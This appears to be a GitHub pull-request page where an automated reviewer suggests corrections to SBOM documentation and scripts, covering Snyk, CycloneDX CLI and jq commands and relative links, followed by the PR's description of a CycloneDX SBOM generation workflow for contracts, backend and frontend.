- 4: https://doc.rust-lang.org/stable/cargo/reference/pkgid-spec.html
Fix the documented override value.
CARGO_CYCLONEDX_VERSION is used as the argument passed to cargo install, so an example value of 0.5.9 does not name cargo-cyclonedx. Use cargo-cyclonedx@0.5.9, or change the flag to pass the version via --version/--vers.
Proposed documentation fix
-# CARGO_CYCLONEDX_VERSION=0.5.9 ./... # override the pinned version
+# CARGO_CYCLONEDX_VERSION=cargo-cyclonedx@0.5.9 ./... # override the pinned version📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| # Usage: | |
| # scripts/sbom/install-tools.sh # install cargo-cyclonedx only | |
| # CARGO_CYCLONEDX_VERSION=0.5.9 ./... # override the pinned version | |
| # Usage: | |
| # scripts/sbom/install-tools.sh # install cargo-cyclonedx only | |
| # CARGO_CYCLONEDX_VERSION=cargo-cyclonedx@0.5.9 ./... # override the pinned version |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@scripts/sbom/install-tools.sh` around lines 9 - 11, Update the usage example
for CARGO_CYCLONEDX_VERSION in install-tools.sh to use the package-qualified
value cargo-cyclonedx@0.5.9, matching how the variable is passed to cargo
install; leave the existing installation behavior unchanged.
| #### [Snyk](https://snyk.io/) | ||
|
|
||
| ```bash | ||
| # Snyk CLI accepts CycloneDX JSON directly | ||
| snyk sbom --file=security/sbom/backend.cdx.json | ||
| snyk sbom --file=security/sbom/frontend.cdx.json | ||
| ``` | ||
|
|
||
| For the contracts SBOM, Snyk does not currently evaluate Rust SBOMs from CycloneDX; instead use `cargo audit` against the `Cargo.lock`, which is already wired into `contract-smoke.yml`. |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
snyk sbom test --help | rg -- '--file'Repository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 215
🌐 Web query:
Snyk CLI reference snyk sbom test --file CycloneDX test existing SBOM
💡 Result:
The snyk sbom test command is used to check existing Software Bill of Materials (SBOM) files for vulnerabilities in open-source packages [1][2]. Command Usage The basic syntax for testing an existing SBOM file is [1][3]: snyk sbom test --file=<FILE_PATH> Requirements and Supported Formats To successfully test an SBOM, ensure your environment meets the following requirements: 1. Supported File Formats: The command currently accepts CycloneDX (JSON versions 1.4, 1.5, and 1.6) and SPDX (JSON version 2.3) [1][4]. 2. Component Identification: Packages and components within the SBOM must be identified using a PackageURL (purl) [1][3]. Supported purl types include npm, maven, pypi, golang, nuget, deb, rpm, and others [1]. Common Options - --file=<FILE_PATH>: Required. Specifies the path to the SBOM document [1][2]. - --json: Prints the results in a JSON data structure instead of the default human-readable format [1][3]. - --json-file-output=<FILE_PATH>: Saves the resulting vulnerability report to a specified JSON file [2]. - --severity-threshold=: Filters the reported vulnerabilities by a minimum severity level (e.g., high) [2]. Example To test an existing CycloneDX JSON file, run: snyk sbom test --file=bom.cdx.json Note that while some earlier documentation or experimental versions required an --experimental flag [4][5], this flag is generally not required for stable versions of the command [1][3]. Always refer to your local help documentation using snyk sbom test --help for the specific features enabled in your installed CLI version.
Citations:
- 1: https://docs.snyk.io/developer-tools/snyk-cli/snyk-cli/commands/sbom-test
- 2: https://deepwiki.com/snyk/cli/2.6-sbom-commands
- 3: https://github.com/snyk/cli/blob/main/help/cli-commands/sbom-test.md
- 4: https://snyk.io/blog/creating-sboms-snyk-cli/
- 5: https://updates.snyk.io/test-an-sbom-using-the-snyk-cli-290955
🌐 Web query:
Snyk CLI snyk sbom --file project manifest generates SBOM
💡 Result:
Yes, the Snyk CLI command snyk sbom --file can be used to generate a Software Bill of Materials (SBOM) for a specific manifest file [1][2][3]. When you use the --file flag, you specify the exact manifest file (e.g., pom.xml, package.json, requirements.txt) upon which the SBOM will be based [1][4][3]. If this flag is omitted, the Snyk CLI will, by default, attempt to automatically detect a supported manifest file in the current working directory [1][2]. Key points for using this command: 1. Required Format: The --format flag is mandatory and must be included to specify the desired SBOM standard and output format (e.g., --format=cyclonedx1.6+json or --format=spdx2.3+json) [1][5][3]. 2. Output: The command outputs the SBOM to standard output by default [1][3]. You can redirect this output to a file using standard shell redirection (e.g., > mySBOM.json) or by using the --json-file-output=<FILE_PATH> flag [1][5][3]. 3. Example usage: snyk sbom --file=pom.xml --format=cyclonedx1.6+xml This command would generate an SBOM for the specified Maven pom.xml file in CycloneDX 1.6 XML format [1][3]. Ensure you are using a recent version of the Snyk CLI (minimum version 1.1071.0 is required for this feature) and have an active internet connection, as the generation process requires communication with Snyk [3].
Citations:
- 1: https://docs.snyk.io/developer-tools/snyk-cli/snyk-cli/commands/sbom.md
- 2: https://docs.snyk.io/developer-tools/snyk-cli/snyk-cli/commands/sbom
- 3: https://github.com/snyk/cli/blob/c7a67e02/help/cli-commands/sbom.md
- 4: https://github.com/snyk/user-docs/blob/main/docs/developer-tools/snyk-cli/commands/sbom.md
- 5: https://snyk.io/blog/creating-sboms-snyk-cli/
🌐 Web query:
Snyk sbom test CycloneDX rust cargo PURL types supported Rust purl
💡 Result:
Snyk officially supports the cargo Package URL (PURL) type for SBOM testing [1][2]. When using the snyk sbom test command or the Snyk REST API to test an SBOM for vulnerabilities, Snyk explicitly recognizes and supports components identified by cargo PURLs [1][3][4]. Key details regarding this support include: - SBOM Format Compatibility: Snyk accepts CycloneDX (JSON versions 1.4, 1.5, and 1.6) and SPDX (JSON version 2.3) files for SBOM testing [1][2]. - Identification Requirements: Components within your SBOM must be identified using a valid PURL [1][4]. The PURL for Rust packages should follow the standard pkg:cargo/name@version format [3][5]. - Usage: You can generate an SBOM using third-party tools like cargo-cyclonedx [3][6] and then scan that file using: - CLI: snyk sbom test --file=<path_to_sbom_file> [1][3] - API: By submitting the SBOM document to the Snyk sbom_tests REST API endpoint [2][7]. If a component in the provided SBOM does not contain a PURL or uses a PURL type that Snyk does not support, Snyk will skip vulnerability analysis for that specific component [2]. The cargo type is confirmed as supported among the list of standard ecosystem PURL types accepted by the Snyk platform [1][2][8].
Citations:
- 1: https://docs.snyk.io/developer-tools/snyk-cli/snyk-cli/commands/sbom-test
- 2: https://docs.snyk.io/developer-tools/snyk-api/using-specific-snyk-apis/sbom-apis/rest-api-endpoint-test-an-sbom-document-for-vulnerabilities
- 3: https://docs.snyk.io/supported-languages/supported-languages-list/rust
- 4: https://docs.snyk.io/developer-tools/snyk-cli/snyk-cli/commands/sbom-test.md
- 5: https://docs.snyk.io/supported-languages/supported-languages-list/rust.md
- 6: https://github.com/CycloneDX/cyclonedx-rust-cargo/blob/main/cargo-cyclonedx/README.md
- 7: https://docs.snyk.io/developer-tools/snyk-api/reference/sbom
- 8: https://github.com/snyk/cli/blob/main/help/cli-commands/sbom-test.md
Use snyk sbom test for the CycloneDX files.
snyk sbom --file=... generates an SBOM from a manifest and requires --format; the existing CycloneDX SBOMs should use snyk sbom test --file=.... Current Snyk SBOM docs support CycloneDX JSON 1.4, 1.5, and 1.6; Rust components are recognized through valid pkg:cargo/... PURLs, so the “Rust SBOMs from CycloneDX are not evaluated” sentence is misleading.
Proposed fix
- snyk sbom --file=security/sbom/backend.cdx.json
- snyk sbom --file=security/sbom/frontend.cdx.json
+ snyk sbom test --file=security/sbom/backend.cdx.json
+ snyk sbom test --file=security/sbom/frontend.cdx.json🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@security/SBOM.md` around lines 163 - 171, Update the Snyk commands in the
Snyk section to use `snyk sbom test --file=...` for both CycloneDX JSON files
instead of `snyk sbom --file=...`. Remove or revise the statement claiming Snyk
does not evaluate Rust CycloneDX SBOMs, while preserving the existing cargo
audit guidance if still applicable.
| #### [`bom-cli`](https://github.com/anchore/syft) / [Syft](https://github.com/anchore/syft) round-trip | ||
|
|
||
| ```bash | ||
| # Verify a CycloneDX SBOM is structurally valid | ||
| syft attest --input sbom ./security/sbom/backend.cdx.json | ||
|
|
||
| # Convert to another format if your downstream tool needs SPdx | ||
| bom convert --input-format cyclonedx-json --output-format spdx-json \ | ||
| --input-file security/sbom/backend.cdx.json \ | ||
| > security/sbom/backend.spdx.json |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
syft attest --help
cyclonedx validate --help
cyclonedx convert --helpRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 3793
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
printf '--- security/SBOM.md excerpt ---\n'
sed -n '150,195p' security/SBOM.md || true
printf '\n--- Repository references for bom-cli / CycloneDX / Syft attest ---\n'
rg -n 'bom-cli|`@cyclonedx/bom-cli`|cyclonedx (validate|convert)|syft attest|Syft round-trip|CycloneDX round-trip' .
printf '\n--- Check whether SBOM file/path exists ---\n'
ls -la security/sbom 2>/dev/null || true
printf '\n--- Try local syft/cyclonedx availability only ---\n'
command -v syft || true
syft --version 2>/dev/null | head -n 1 || true
command -v cyclonedx || true
command -v bom || trueRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 268
🌐 Web query:
CycloneDX CLI validate convert command --input-file --output-format spdxjson documentation
💡 Result:
The CycloneDX CLI provides commands to convert Bill of Materials (BOM) files between formats and validate them. Convert Command The convert command is used to transform BOM files between supported formats, including CycloneDX (XML, JSON, Protobuf), CSV, and SPDX JSON [1][2]. Usage: cyclonedx-cli convert [options] Key Options: --input-file : Specifies the path to the input BOM file. If omitted, the CLI reads from standard input (stdin) [1][2]. --output-file : Specifies the path for the output BOM file. If omitted, the CLI writes to standard output (stdout) [1][2]. --input-format : Specifies the input file format. Valid values include autodetect, csv, json, protobuf, spdxjson, and xml [1][2]. --output-format : Specifies the output file format. Valid values include autodetect, csv, json, protobuf, spdxjson, and xml [1][2]. --output-version : Specifies the target CycloneDX specification version. This option is ignored for CSV and SPDX formats [1][2]. Example: To convert a file to SPDX JSON format using a file path: cyclonedx-cli convert --input-file input.json --output-format spdxjson --output-file output.spdx.json To use stdin/stdout in a pipeline: cat input.json | cyclonedx-cli convert --input-format json --output-format spdxjson > output.spdx.json Validate Command The validate command is used to check the structural integrity of a BOM file [1][3]. Usage: cyclonedx-cli validate [options] Key Options: --input-file : Path to the BOM file to be validated [1][2]. --input-format : Specifies the format of the input file (autodetect, json, or xml) [1][2]. --fail-on-errors: Returns a non-zero exit code if validation fails, which is useful for automation and CI/CD pipelines [1][3][4]. Example: cyclonedx-cli validate --input-file sbom.json --fail-on-errors
Citations:
- 1: https://github.com/CycloneDX/cyclonedx-cli
- 2: https://github.com/CycloneDX/cyclonedx-cli?tab=readme-ov-file
- 3: https://github.com/CycloneDX/cyclonedx-cli/blob/main/README.md
- 4: https://context7.com/cyclonedx/cyclonedx-cli/llms.txt
🌐 Web query:
github.com CycloneDX bom-cli convert --input-format cyclonedx-json --output-format spdx-json
💡 Result:
To convert a CycloneDX JSON BOM to SPDX JSON format using the CycloneDX CLI, use the following command structure: cyclonedx-cli convert --input-file --output-file --input-format json --output-format spdxjson [1][2] If you prefer to use standard input and output streams, you can pipe the data as follows: cat | cyclonedx-cli convert --input-format json --output-format spdxjson > [1][3] Key details for this command: 1. Input/Output Formats: The --input-format and --output-format options must be specified when using stdin/stdout [1][4]. When using file paths with --input-file and --output-file, the CLI can often infer formats, but explicitly providing them as shown above ensures correct execution [1][2]. 2. Format Names: Use json for the input format and spdxjson for the output format [1][5]. 3. Automation: This command is designed for automation environments, allowing you to integrate BOM conversion into larger pipelines [1][2]. For full usage help, you can run: cyclonedx-cli convert --help
Citations:
- 1: https://github.com/CycloneDX/cyclonedx-cli/blob/main/README.md
- 2: https://github.com/cyclonedx/cyclonedx-cli/
- 3: https://github.com/cyclonedx/cyclonedx-cli
- 4: https://context7.com/cyclonedx/cyclonedx-cli/llms.txt
- 5: https://github.com/CycloneDX/cyclonedx-cli?tab=readme-ov-file
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
printf '%s\n' '--- security/SBOM.md excerpt ---'
sed -n '150,195p' security/SBOM.md || true
printf '%s\n' ''
printf '%s\n' '--- Repository references for bom-cli / CycloneDX / Syft attest ---'
rg -n 'bom-cli|`@cyclonedx/bom-cli`|cyclonedx (validate|convert)|syft attest|Syft round-trip|CycloneDX round-trip' . || true
printf '%s\n' ''
printf '%s\n' '--- Check whether SBOM file/path exists ---'
ls -la security/sbom 2>/dev/null || true
printf '%s\n' ''
printf '%s\n' '--- Check whether syft/cyclonedx/bom are available ---'
command -v syft || true
syft --version 2>/dev/null | head -n 1 || true
command -v cyclonedx-cli || true
command -v cyclonedx || true
command -v bom || trueRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 2468
Use documented CycloneDX SBOM validation and conversion commands.
syft attest creates an attestation from a source or image, not structural validation for an existing CycloneDX file. The CycloneDX CLI supports validate and convert; use the documented syntax for those commands instead of bom convert.
Proposed fix
- syft attest --input sbom ./security/sbom/backend.cdx.json
+ cyclonedx-cli validate --input-file security/sbom/backend.cdx.json --input-format json --fail-on-errors
- bom convert --input-format cyclonedx-json --output-format spdx-json \
- --input-file security/sbom/backend.cdx.json \
- > security/sbom/backend.spdx.json
+ cyclonedx-cli convert --input-file security/sbom/backend.cdx.json --input-format json --output-format spdxjson --output-file security/sbom/backend.spdx.json📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| #### [`bom-cli`](https://github.com/anchore/syft) / [Syft](https://github.com/anchore/syft) round-trip | |
| ```bash | |
| # Verify a CycloneDX SBOM is structurally valid | |
| syft attest --input sbom ./security/sbom/backend.cdx.json | |
| # Convert to another format if your downstream tool needs SPdx | |
| bom convert --input-format cyclonedx-json --output-format spdx-json \ | |
| --input-file security/sbom/backend.cdx.json \ | |
| > security/sbom/backend.spdx.json | |
| #### [`bom-cli`](https://github.com/anchore/syft) / [Syft](https://github.com/anchore/syft) round-trip | |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@security/SBOM.md` around lines 173 - 182, Update the “bom-cli / Syft
round-trip” documentation to use the CycloneDX CLI’s documented validate command
for structural validation of security/sbom/backend.cdx.json, and its convert
command for generating the SPDX output. Replace the incorrect syft attest and
bom convert examples while preserving the existing input and output files.
| #### Standalone validation (no third-party tool) | ||
|
|
||
| ```bash | ||
| # jq one-liner — top-level shape sanity | ||
| jq '.bomFormat, .specVersion, .components | length' security/sbom/backend.cdx.json | ||
| ``` | ||
|
|
||
| Expected output: | ||
|
|
||
| ```text | ||
| "CycloneDX" | ||
| "1.5" | ||
| <N> | ||
| ``` |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
printf '%s\n' '{"bomFormat":"CycloneDX","specVersion":"1.5","components":[{},{}]}' |
jq '.bomFormat, .specVersion, .components | length'Repository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 183
🏁 Script executed:
#!/bin/bash
set -euo pipefail
printf '%s\n' '{"bomFormat":"CycloneDX","specVersion":"1.5","components":[{"id":1},{"id":2}],"license":{"name":"MIT"}}' |
jq '.bomFormat, .specVersion, (.components | length), (.license.name | length)'Repository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 199
Parenthesize the component count filter.
jq '.bomFormat, .specVersion, .components | length' counts the first two output values, so the string "CycloneDX" prints as 9 and "1.5" prints as 3. Group the array count so the command outputs the expected string values plus the component count.
Proposed fix
-jq '.bomFormat, .specVersion, .components | length' security/sbom/backend.cdx.json
+jq '.bomFormat, .specVersion, (.components | length)' security/sbom/backend.cdx.json📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| #### Standalone validation (no third-party tool) | |
| ```bash | |
| # jq one-liner — top-level shape sanity | |
| jq '.bomFormat, .specVersion, .components | length' security/sbom/backend.cdx.json | |
| ``` | |
| Expected output: | |
| ```text | |
| "CycloneDX" | |
| "1.5" | |
| <N> | |
| ``` | |
| #### Standalone validation (no third-party tool) | |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@security/SBOM.md` around lines 185 - 198, Update the jq validation command in
the “Standalone validation” section to parenthesize the .components filter
before applying length, preserving the separate .bomFormat and .specVersion
outputs and making length apply only to the components array.
| - [`.github/workflows/sbom.yml`](../../.github/workflows/sbom.yml) — the workflow that drives everything above. | ||
| - [`scripts/sbom/`](../scripts/sbom/) — the per-ecosystem generators and the `install-tools.sh` helper. | ||
| - [`scripts/README.md`](../scripts/README.md) — index of every maintenance script in the repo. | ||
| - [`docs/CONTRIBUTING.md`](../CONTRIBUTING.md) — section on dependency audit policy (orthogonal to SBOMs). | ||
| - [`docs/OPERATIONS.md`](../OPERATIONS.md) — release-time SBOM verification step. | ||
| - [`docs/RELEASE_CHECKLIST.md`](../RELEASE_CHECKLIST.md) — release checklist line item that references this file. |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
Fix the relative links from security/SBOM.md.
The workflow and scripts links use ../../, which moves above the repository root. The CONTRIBUTING.md, OPERATIONS.md, and RELEASE_CHECKLIST.md links omit their docs/ directory.
Proposed fix
-- [`.github/workflows/sbom.yml`](../../.github/workflows/sbom.yml)
+- [`.github/workflows/sbom.yml`](../.github/workflows/sbom.yml)
-- [`scripts/sbom/`](../../scripts/sbom/)
+- [`scripts/sbom/`](../scripts/sbom/)
-- [`docs/CONTRIBUTING.md`](../CONTRIBUTING.md)
+- [`docs/CONTRIBUTING.md`](../docs/CONTRIBUTING.md)
-- [`docs/OPERATIONS.md`](../OPERATIONS.md)
+- [`docs/OPERATIONS.md`](../docs/OPERATIONS.md)
-- [`docs/RELEASE_CHECKLIST.md`](../RELEASE_CHECKLIST.md)
+- [`docs/RELEASE_CHECKLIST.md`](../docs/RELEASE_CHECKLIST.md)📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - [`.github/workflows/sbom.yml`](../../.github/workflows/sbom.yml) — the workflow that drives everything above. | |
| - [`scripts/sbom/`](../scripts/sbom/) — the per-ecosystem generators and the `install-tools.sh` helper. | |
| - [`scripts/README.md`](../scripts/README.md) — index of every maintenance script in the repo. | |
| - [`docs/CONTRIBUTING.md`](../CONTRIBUTING.md) — section on dependency audit policy (orthogonal to SBOMs). | |
| - [`docs/OPERATIONS.md`](../OPERATIONS.md) — release-time SBOM verification step. | |
| - [`docs/RELEASE_CHECKLIST.md`](../RELEASE_CHECKLIST.md) — release checklist line item that references this file. | |
| - [`.github/workflows/sbom.yml`](../.github/workflows/sbom.yml) — the workflow that drives everything above. | |
| - [`scripts/sbom/`](../scripts/sbom/) — the per-ecosystem generators and the `install-tools.sh` helper. | |
| - [`scripts/README.md`](../scripts/README.md) — index of every maintenance script in the repo. | |
| - [`docs/CONTRIBUTING.md`](../docs/CONTRIBUTING.md) — section on dependency audit policy (orthogonal to SBOMs). | |
| - [`docs/OPERATIONS.md`](../docs/OPERATIONS.md) — release-time SBOM verification step. | |
| - [`docs/RELEASE_CHECKLIST.md`](../docs/RELEASE_CHECKLIST.md) — release checklist line item that references this file. |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@security/SBOM.md` around lines 214 - 219, Correct the relative Markdown links
in the reference list of SBOM.md: change the workflow and scripts links to use
repository-root-relative paths with one fewer parent traversal, and add the
missing docs/ directory to the CONTRIBUTING.md, OPERATIONS.md, and
RELEASE_CHECKLIST.md links while preserving their destinations.
Description
Adds a CycloneDX 1.6 SBOM generation pipeline that produces JSON SBOMs for the Soroban contracts crate (cargo-cyclonedx) and the Node backend + frontend workspaces (@cyclonedx/cyclonedx-npm). Generation runs on every PR + push to main + GitHub release via a new .github/workflows/sbom.yml, and the same artifacts are produced locally through npm run sbom plus per-ecosystem helpers.
Pipeline at a glance
.github/workflows/sbom.yml (PR + push to main + release: published + workflow_dispatch)
│
├─ Node 20 + Rust stable (wasm32-unknown-unknown target) + cargo cache
├─ cargo install cargo-cyclonedx (via scripts/sbom/install-tools.sh)
├─ npm ci --ignore-scripts (backend + frontend; ensures lockfile present)
│
├─► scripts/sbom/generate-contracts-sbom.sh → security/sbom/contracts.cdx.json → artifact sbom-contracts
├─► scripts/sbom/generate-backend-sbom.sh → security/sbom/backend.cdx.json → artifact sbom-backend
└─► scripts/sbom/generate-frontend-sbom.sh → security/sbom/frontend.cdx.json → artifact sbom-frontend
What changed
New:
Modified:
Acceptance criteria coverage (issue #1531)
Local usage
npm run sbom # all three ecosystems
npm run sbom:contracts # contracts only
npm run sbom:backend # backend only
npm run sbom:frontend # frontend only
npm run sbom:install # install cargo-cyclonedx (idempotent)
Or per-target:
bash scripts/sbom/generate-all.sh
(cd contracts && make sbom)
Output path is security/sbom/{contracts,backend,frontend}.cdx.json in both local runs and CI.
Verification plan
Type of Change
Checklist
closes #1531
Summary by CodeRabbit
New Features
Documentation